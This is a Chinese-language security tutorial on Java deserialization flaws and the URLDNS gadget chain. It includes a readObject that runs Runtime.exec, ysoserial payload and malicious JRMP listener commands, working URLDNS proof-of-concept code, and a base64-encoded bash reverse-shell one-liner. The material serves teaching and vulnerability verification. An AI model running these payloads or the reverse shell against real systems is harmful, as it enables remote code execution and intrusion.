Java反序列化初探+URLDNS链

发布时间 2023-03-23 21:45:58作者: 1vxyz

<1> 什么是序列化/反序列化

序列化,其实就是将数据转化成一种可逆的数据结构,自然,它的逆过程就叫做反序列化。

目的: 方便数据的传输与存储

通常我们在编程的时候,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中。为了满足这种需求,就有了所谓的序列化和反序列化

不同于php序列化对象 O:4:"test":2:{s:3:"str";s:5:"luoke";s:3:"int";i:10;} 是一串数据,Java序列化之后成了二进制文件 是 字节流

(1) 为什么会产生安全问题?

java反序列化漏洞的关键出现在 readObject 上,反序列化必定执行readObject方法,而在执行java.io.ObjectInputStream.readObject()之前,会先尝试执行 反序列化的类的 readObject方法,如果这个类重构了readObject方法,错误的调用了一些危险方法,则会造成漏洞。

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力.

(2) 可能的形式

  1. 入口类的readObject直接调用危险方法

  2. 入口类参数中包含可控类,该类有危险方法,readObject时调用

  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

    比如类型定义为 Object, 调用equals/hashcode/toString 相同类型 同名函数

  4. 构造函数/静态代码块等类加载时隐式执行

(3) Java反序列化漏洞原因

Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码

<2> java序列化与反序列化

(1) 前置基础知识

需要跳出PHP反序列化的思想:

在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流

序列化/反序列化是一种思想,并不局限于其实现的形式

如:

  • JAVA内置的writeObject()/readObject()

  • JAVA内置的XMLDecoder()/XMLEncoder

  • XStream

  • SnakeYaml

  • FastJson

  • Jackson

出现过漏洞的组件:

  • Apache Shiro

  • Apache Axis

  • Weblogic

  • Jboss

  • Fastjson

Java中的命令执行

public static void main() throws Exception{
    Runtime.getRuntime().exec("calc");
    /*
        Java中执行系统命令使用java.lang.Runtime类的exec方法
        以上函数可以弹出计算器
        getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等)
        exec底层为ProcessBuilder:此类用于创建操作系统进程
        每个ProcessBuilder实例管理进程属性的集合。start()方法使用这些属性创建一个新的Process实例。start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程。
    */
}

注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i}

(2) 编写一个可以序列化的类

在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable接口
也就是让他 implements Serializeable

同时,被transient修饰的属性也不参与序列化过程

package test;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    // 添加一个 transient 关键字,则name属性不会被序列化和反序列化
    // 如果将属性设置为static,同样不会被序列化和反序列化
    // private transient String name;
    public String name;
    private int age;
    public Person(){

    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    /*
     * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
     * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
     * @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处:
     * 1. 可以当注释用,方便阅读
     * 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错
     * 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法)
     * 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误
     */
    @Override
    public String toString() {
        return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
    }

    private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException, IOException {
        /*
         * java.io.ObjectInputStream.defaultReadObject()
         * 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助.
         * 如果它被调用,则会抛出NotActiveException
         */
        objectInputStream.defaultReadObject();
        /*
         * 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得.
         */
        /*
         * exec:在具有指定环境的单独进程中执行指定的字符串命令.
         * 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 .
         */
        Runtime.getRuntime().exec("calc");
    }
}

IDEA里支持 Alt+insert 导入相应的包

Ctrl+click 跟进java.io.Serializable接口

public interface Serializable {
}

发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了

(3) 如何序列化类

Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可

package test;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class serialize {
    public static void main(String[] args) throws IOException {
        //生成Person对象的实例
        Person person = new Person("1vxyz", 18);  
        /*
         * ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构)
         * 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象.
         */
        /*
         * 文件输出流是用于将数据写入到输出流File或一个FileDescriptor
         * .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream
         * (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败.
         * FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter .
         */
        // 序列化的类
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        /*
         * 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流.
         * 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同.
         */
        // 需要序列化的对象是谁?
        obj.writeObject(person);
        obj.close();
    }
}

跟进writeObject函数,我们通过阅读他的注释可知:

在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable接口)

(4) 如何反序列化类

序列化使用ObjectOutPutStream类,反序列化使用的则是ObjectInputStream类的readObject方法.

由于我们在之前在Person类中重写了readObject方法,所以会调用java.lang.Runtime类的exec方法执行calc命令

private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException, IOException {
        objectInputStream.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
package test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserialize {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        /*
         * ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象.
         * ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序.
         * ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数.
         * ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类.
         * 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象.
         */
        // 反序列化的类
        ObjectInputStream ois = new ObjectInputStream((new FileInputStream("ser.ser")));
        /*
         * 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象.
         * 读取时,需要将其转换为预期类型.
         */
        // 读出来并反序列化
        Person person = (Person) ois.readObject();
        System.out.println(person);
        ois.close();
    }
}

执行,弹出来了计算器,,,

同时,我们unserialize.java里, Person person = (Person) ois.readObject(); 成功讲unserialize.java里的 实例化的person对象接收了过来。

(5) serialVersionUID讲解

序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套

同样在Java中与协议相对的概念为:serialVersionUID

当serialVersionUID不一致时,反序列化会直接抛出异常

比如设置为2L时序列化,修改为1L时反序列化,则会抛出异常

<3> java反序列化利用(ysoserial)

Java反序列化和php相同的是,php反序列化通过POP链最终要找到一个落脚点(RCE),这个落脚点一般都是开发自己写的。java通过gadget也要找一个落脚点,而这个落脚点在java标准库和一些常用库就有

ysoserial上就集成了各种常用gadget,其中最简单的就是URLDNS

工具下载地址:https://github.com/frohoff/ysoserial
用法:java -jar ysoserial.jar 就可以看到有哪些gadget,它们适合的扩展库或者JDK版本

假设上面演示生成的 ser.ser这个文件路径我们可控,我们可以构造出一个恶意反序列化文件,来进行DNS查询

去DNSlog申请一个域名:http://dnslog.cn/
java -jar ysoserial.jar URLDNS "http://1bvloh.dnslog.cn" > ser.ser

然后替换掉ser.ser,执行

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserialize {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 反序列化的类
        ObjectInputStream ois = new ObjectInputStream((new FileInputStream("ser.ser")));
        // 读出来并反序列化
        ois.readObject();
        ois.close();
    }
}

绝大部分反序列化漏洞都是这样生成payload并利用的,只不过ser.ser可能需要经过复杂编码,或者藏在RMI服务中使用。

比如:更常用的CommonsCollections4。
java -jar ysoserial.jar CommonsCollections4 "ping dnslog.cn"
起一个恶意RMI服务,一旦有人连接它,就发送恶意反序列化字节的payload
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections4 " ping dnslog.cn "
接下我们通过对URLDNS的分析来了解具体是如何造成危害的

<4> URLDNS链分析

URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法

链子利用思路:

  1. 首先找到Sink:发起DNS请求的URL类hashCode方法

  2. 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法

  3. EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它

  4. 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求

Hashmap类

对于HashMap这个类来说,他重载了readObject函数,我们知道,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法。

这里先看看在重载的逻辑中,看看有没有可以利用的地方。

跟进 查看一下readObject方法: 我们可以看到它重新计算了keyHash

再次跟进hash函数,我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控,并且可被我们利用的类

而可以被我们利用的类就是下面的URLDNS

URLDNS类

查看一下URL类的hashCode()函数。发现当hashCode不是-1,则会调用URLStreamHandler抽象类的hashCode()函数。这显然是为了只算一次hash,而handler是什么呢?

找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控

跟进 查看getHostAddress函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址。参数u是this 也就是URL对象

到这了,我们也就不用继续往下跟进了。 URL类的hashCode()方法可以进行DNS查询,而Hashmap类 重写的readObject方法可以调用 key.hashCode()。 我们可以通过Hashmap的put方法控制key为URL类 构造hashmap对象序列化,这样反序列化的时候就可以实现DNS查询。

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
putVal方法是记录键值对的方法,过程是putVal()——newNode()——Node()

        Node(int hash, K key, V value, Node<K,V> next) {
            this.hash = hash;
            this.key = key;
            this.value = value;
            this.next = next;
        }

链子如下:HashMap.readObject()->HashMap.hash()->URL.hashCode()->URLStreamHandler.hashCode()->URLStreamHandler.getHostAddress()

漏洞利用代码:

package urldns;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class Dnstest {
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://w4qyn9.dnslog.cn");
        Class c =URL.class;
        Field fieldHashcode = c.getDeclaredField("hashCode");
        fieldHashcode.setAccessible(true);
        // 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望
        // 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接
        // 返回,由于在序列化的时候已经进行了hashCode计算,那么在反序列化时hashCode值就不是-1了。就不会走到他真正的handler.hashCode方法里
        // 所以在hashmap.put()前 需要修改URL类hashCode值不为-1
        fieldHashcode.set(url,1);
        hashmap.put(url, 22);
        // 反序列化之后还是需要让他发送请求,所以需要改回来
        // 这是为了防止我们把put的时候发送的DNS请求误以为是反序列化时的readObject去发的DNS请求
        fieldHashcode.set(url,-1);
        Serializable(hashmap);
        //Unserializable(hashmap);
    }

    public static void Serializable(Object obj) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }
}

生成ser.ser文件之后 反序列化调用

package urldns;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class test {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        // 反序列化的类
        ObjectInputStream ois = new ObjectInputStream((new FileInputStream("ser.ser")));
        // 读出来并反序列化
        ois.readObject();
        ois.close();
    }
}

在 dnslog.cn 处成功收到响应

为什么 new出来了URL类实例url,还需要用反射机制呢?因为反射更灵活 URL类里 hashCode是private属性,无法直接设置,但是可以通过反射来设置。

通过反射的方式,先将url对象的hashCode设置为1,这样在hashmap.put(url,22)的时候可以跳过DNS查询,put URL和22 url实例赋给了hashmap的key,再通过反射将url对象的hashCode设置为-1,然后讲hashmap对象序列化写入二进制文件ser.ser,最终反序列化的时候进行了DNS查询 注:hashmap的key和 url对象指向的是同一对象,因此我们后面再通过反射将url对象的hashCode设置为-1时,hashmap里key(URL对象)的hashCode也会变成-1.

参考:
https://mp.weixin.qq.com/s/TCgHuK2qLIVRxnc6_mqx_Q
https://mp.weixin.qq.com/s/t81n92VPzqy6liEYOAgzNw